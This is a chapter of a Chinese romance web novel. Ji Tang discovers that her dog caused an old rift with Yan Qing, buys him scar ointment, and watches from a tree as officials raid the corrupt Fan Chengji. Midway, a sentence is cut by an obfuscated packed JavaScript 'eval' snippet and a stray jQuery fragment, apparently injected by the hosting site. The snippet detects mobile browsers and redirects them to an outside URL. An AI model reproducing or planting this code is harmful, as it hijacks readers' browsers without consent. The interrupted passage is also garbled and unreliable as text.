“大黄,我该怎么处理。”
纪棠蹲在地上,捡起掉落的叶子把玩,无奈叹了一口气。
“早知道就不绝交了,这下好了,他要我负责,我能怎么办嘛!”
“再说了,我看他的脸还是很好看呀,额角只有一点点红痕,很淡,丝毫不影响……”
纪棠说着说着安慰不下去了,蹙眉看向一旁的大黄:“萋萋被禁足,你也不理我,是不是不爱我了?”
大黄追自己尾巴玩的动作突然停下,眨着湿漉漉的眼睛转来转去,最后蹭着自家小主人的掌心舔了舔。
“你说,他那句话是何意?”
“人家不喜欢他,又岂是我能左右的,难道我当初没有揍他一拳,那姑娘就会喜欢他了吗?”
纪棠抚摸大黄顺滑的毛发,苦着一张脸:“没破相的话,还真有可能……”
大黄看她一眼,扭着小屁股去咬桌角边上的信纸。
纪棠忽地灵光一闪。
绝交信已成既定事实,那她再写一封道歉信不就好了?
只要她诚恳地道歉,并找出解决办法,比如寻一些灵丹妙药,再帮他追喜欢的姑娘,言清一定不会与她计较的。
既是道歉信,一定要表明自己的真诚,她将自己珍藏的花笺取出来,上面印染几簇粉色桃花,细细闻去,还有淡淡的香气,甚是好闻。
纪棠行动力很强,铺开笔墨就开始下笔。
言大人,暌违日久,未悉近况……
不对不对。
言大人,见字如晤,展信舒颜……
接连写了三四张,她还是觉得不满意,花笺被揉皱又展开铺平。
她写得出神,全然没注意掉在地上的纸团被大黄叼走,听见纸张碎裂的声音,忙喊道:“大黄,你又吃纸!”
纪棠掰开它的嘴,从它嘴里面掏出残存的纸屑:“什么你都吃!也不怕中毒,这爱吃纸的毛病什么时候能......”
等等——
纪棠呆坐在地上,看着一脸无辜的大黄。
她何曾想过,当年的罪魁祸首会是一条狗?
是了,言清的为人她还是了解的,断不至于以此来欺骗她。
可恶!
不一会儿,将军府后院,一道尖叫声响彻云霄:“大黄,今晚不许吃饭!”
同样没吃晚饭的还有纪棠。
得知真相后,她把自己关在屋子里一天,开始思考着这件事该如何挽回。
事已至此,她决定先帮他寻一些祛疤的伤药。
第二天一早,纪棠就按照老样子扮成男装上街去各大医馆看灵丹妙药。
城中有一家医馆,一位老大夫最为有名,其调制的一瓶玉容膏更是引得京中众多贵女所求。
玉容膏去腐生肌,乃是不可多得的祛疤好药。
纪棠事先派竹桃蹲守了好一会儿,这才买到一瓶。
有了这个,想必言清额角上的红痕很快就能褪下。
纪棠沉浸在期待里,视线落在不远处的前方,脚步一顿。
范成济?
他怎么会在这里?
俗话说,踏破铁鞋无觅处,得来全不费工夫。
今日出门,没想到还有意外之喜。
纪棠收起玉容膏,悄悄跟在范成济身后。
范成济拎着一个油纸包,吊儿郎当地拐进一处偏僻的小院,全然没注意身后多了一个小尾巴。
行至院门前,他抬手嗅了嗅衣裳的味道,确认并无不妥后,这才笑呵呵进门,喊道:“芸娘。”
女子身形婀娜丰腴,腹部如圆盘般隆起,见来人是谁,立刻笑脸相迎:“范郎。”
纪棠搓了搓竖起的汗毛。
眼前两名男女,郎有情,妾有意,你侬我侬的样子,倒是叫她想起从前阿爹在家时,跟阿娘也是这般如胶似漆。
“范郎,你可是整整两天四个时辰未来见我了。”叫芸娘的女子掩面哭泣,哭得那叫一个梨花带雨,我见犹怜。
美人在怀,范成济心都快化了,忙哄道:“这方家最近一直在闹退婚,我娘最近看我看得紧,这不,一得空就来瞧你了。”
“净会哄人!”芸娘拾起他胸口的头发,发丝柔软带着一缕清香,明显是女子的。
“瞧瞧,这不知哪个好妹妹的头发丝都落你身上了。”
“我跟她们都是逢场作戏,若方家真退了婚,我也得寻觅一个门当户对的妻子不是?”范成济一手握着她的手放在胸口,另一只手朝下摸了一下:“都怪这什么劳什子祖宗定下的规矩,正室不进门之前不准纳妾......乖芸娘,快叫我亲亲。”
纪棠看得不甚清楚,饶有兴味地踮起脚尖,试图看得更多一些。
许是觉得不够,她利落翻身爬上一旁的大树,整个人伏在树枝上观察院子里的一举一动。
这个范成济,果真是个不靠谱的纨绔!
人家肚子都浑圆了!
没多久,两人就手牵手走进主屋去了,纪棠抱着树干的胳膊有些发麻,揉揉肩膀准备下来。
低头看去,墙角下不知何时出现了一批官员,乌泱泱的一片,把整个院子都包围了起来。
“搜仔细点!”
“大人,地上有一枚香囊,看样子是女子的物件,可要带回去检查一番?”
“给我吧。”
这声音听着怎么这么耳熟?
纪棠摸向自己腰间。
遭了,那是她的香囊!
还未来得及做出反应,就见众人冲进院子搜查,很快,里面传来女子的哭喊声。
范成济衣衫不整,双颊红得异常,看样子像是药物所致,嘴里嚷嚷着:“睁大你们的狗眼,也不看看我是谁?”
纪棠竖着耳朵听了半晌,终于听出个大概。
这范成济买官弼爵,区区六品官竟已收了万两贿赂。
贪官,该打!
树下的声音渐渐走远,纪棠却有些后怕,犹豫着要不要下来。
那香囊上绣了她的名字,若被官府查到,不会误以为她也是帮凶吧?
在树上待的久了,难免有些不舒服,她小心翼翼地顺着树干爬下去,一回头,对上一道熟悉的视线。
“言,言大人,你怎么在这?”
言清好整以暇地看着她:“我倒想问问,你在旁人院子的树上,鬼鬼祟祟做什么?”
纪棠正欲反驳,就见自己的香囊被他捏在手里,抱着树干的手被吓得一抖,踩空滑了下去。
她突发奇想,如果脸着地,留下疤痕,是不是就可以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592628|171897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抵消把言清打“破相”一事了?
事实证明,言清不会给她这个机会。
想象中的疼痛并没有传来,跌落下的一瞬间,身体陷入一个温暖的怀抱。
纪棠半眯着眼,偷偷打量眼前的男人。
怎么会有人穿官服也这么好看呢!
言清嘴角抿成一道直线,开口语气有些冰冷:“玩够了吗?”
凶什么呀!
纪棠刚刚经历生死一劫,还没彻底回过神来,就被他莫名其妙一凶,不免有些委屈。
可转念一想,自己趴在旁人家的树上偷听,显然也非君子所为。
她悻悻地缩回抓皱他官服的手,老实道:“多谢。”
言清没有回答她的话,手上的力道反而揽地更紧了一些,完全没有放她下来的意思。
纪棠急了,又不敢说些什么,只能牢牢抓住这棵“大树”,在他怀里拱了拱。
就像小时候第一次见面,她也是这样摔在他怀里一样。
言清微微叹气,把人放下来,问道:“说吧,在这里做什么?”
“你认识范成济?”
纪棠脑子很乱,不知该说些什么。
总不能说,她想找范成济养外室的证据,以此作为把柄要挟他退婚吧?
为了萋萋的名声,她断不能这么说。
眼睛滴溜转了好久,用上次编的那个借口意欲糊弄过去:“因为,我说过我喜欢查案呀!”
“这个范成济背地里做了不少坏事,我......替天行道,上次去京兆府后门也是为了找到他的罪证。”
纪棠挺了挺胸脯,给自己找回点信心。
只听言清似乎笑了一下:“是吗?”
“既然这么喜欢查案,不如来京兆府为我做事,如何?”
“大人,你知道的,我从小就口无遮拦......”纪棠讪讪笑道:“我这个人最笨了,书读得也差,也就能画点小人,至于旁的一窍不通!”
言清此刻的表情倒是认真起来:“京兆府缺一个为犯人画像的活计,你就很合适。”
纪棠依旧拒绝:“不......”
“如今我这张脸,怕是也见不得外人。”言清勾起嘴角:“有劳纪姑娘了。”
有劳什么!
见不得人还大摇大摆出来办案,她有说她同意吗?
纪棠在心里抱怨,又不敢出声,看着自己的香囊在他手上反复摩挲,忍不住道:“这个香囊是我不小心掉的,大人可否还给我?”
言清把香囊收回袖子里:“这是案件证物,不可随意交出。”
说罢,顿了顿:“你若想换回这枚香囊,不妨绣个一模一样的,我勉强可以帮你‘瞒天过海’。”
纪棠摆摆手:“算了,也不是什么很重要的东西。”
她的绣工只能称得上是一般,即便丢了也不会有人捡走。
忽然想到今天的正事,她掏出玉容膏,把脸扭到一旁:“这个给你。”
言清挑眉:“这是何物?”
“玉容膏,祛疤的。”纪棠塞到他怀里:“早晚各一次,不出半月必能恢复。”
言清神色温和,打开瓶盖的动作却蓦然停下,一板一眼道:“我刚刚碰了尸体,可否麻烦你替我上药?”